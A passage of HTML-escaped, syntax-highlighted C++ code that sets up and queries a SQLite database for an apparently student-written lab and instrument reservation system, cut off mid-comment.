class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Create an empty database.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_CREATE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Create new table.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Teacher ( Tno VARCHAR(10), Tname VARCHAR(20), Tele VARCHAR(20) , TRS VARCHAR(30) ,Pass VARCHAR(40),PRIMARY KEY (Tno));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Instrument ( Ino VARCHAR(10), Iname VARCHAR(20), Stat VARCHAR(10),PRIMARY KEY (Ino));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Manage( Ino VARCHAR(10),Lno VARCHAR(10),PRIMARY KEY (Ino,Lno),FOREIGN KEY (Ino)REFERENCES Instrument(Ino),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Lab( Lno VARCHAR(10), Lname VARCHAR(40), People INT ,Purpose VARCHAR(40),Time INT,PRIMARY KEY (Lno));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Orders( Tno VARCHAR(10), Lno VARCHAR(10), Users VARCHAR(30) ,Btime DATETIME,Etime DATETIME,PRIMARY KEY (Tno,Lno,Btime,Etime),FOREIGN KEY (Tno)REFERENCES Teacher(Tno),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE VIEW IF NOT EXISTS SJ_PROJECT AS SELECT Sno,Pno,Qty FROM SPJ,J WHERE Jname = \u0026#39;三建\u0026#39; AND J.Jno = SPJ.Jno;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create tables: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Created database successfully\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t open database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Opened database successfully.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_close_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t execute this sql line: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;... with the following error: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;select * from Spare_Time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estringstream\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t prepare statement: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_ROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Too crap to write, because my math is taught by 